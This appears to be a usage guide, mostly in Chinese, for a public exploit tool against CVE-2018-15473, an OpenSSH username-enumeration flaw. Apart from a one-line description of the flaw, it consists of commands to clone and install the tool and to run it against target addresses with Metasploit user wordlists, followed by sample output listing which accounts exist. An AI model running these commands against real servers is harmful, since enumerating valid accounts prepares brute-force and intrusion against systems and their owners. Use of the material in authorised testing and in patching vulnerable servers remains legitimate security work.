OpenSSH直到7.7版本存在用户枚举漏洞，原因是在包含请求的数据包完全解析之前，未对无效认证用户的延迟退出进行处理，涉及auth2-gss.c、auth2-hostbased.c和auth2-pubkey.c。
您可能需要安装您发行版对应的 openssl-dev 包
# NOTE: if you're installing on kali, you can skip the pip install; paramiko is already there.
git clone https://gitlab.com/epi052/cve-2018-15473.git
cd cve-2018-15473
pip install -r requirements.txt
# - OR -
pipenv install -r requirements.txt # if you're cool like that
chmod u+x ssh-username-enum.py
单个用户名
(cve-2018-15473)─> ./ssh-username-enum.py -u epi 192.168.1.2
[+] epi found!
使用包含10个线程的字典（默认为4）
(cve-2018-15473)─> ./ssh-username-enum.py -t 10 -w /usr/share/metasploit-framework/data/wordlists/unix_users.txt 192.168.1.2
[+] avahi found!
[+] avahi-autoipd found!
[+] backup found!
[+] daemon found!
[+] bin found!
------8<------
IPv6地址，端口2222，并开启增强详细输出！
(cve-2018-15473)─> ./ssh-username-enum.py -6 -p 2222 -v -w /usr/share/metasploit-framework/data/wordlists/unix_users.txt '::1'
[-] 4Dgifts not found
[-] demo not found
[-] checkfs not found
[-] anon not found
[-] EZsetup not found
[-] auditor not found
[-] demos not found
[-] OutOfBox not found
[-] checkfsys not found
[+] avahi found!
[-] diag not found
[-] ROOT not found
[-] checksys not found
[-] cmwlogin not found
[+] avahi-autoipd found!
------8<------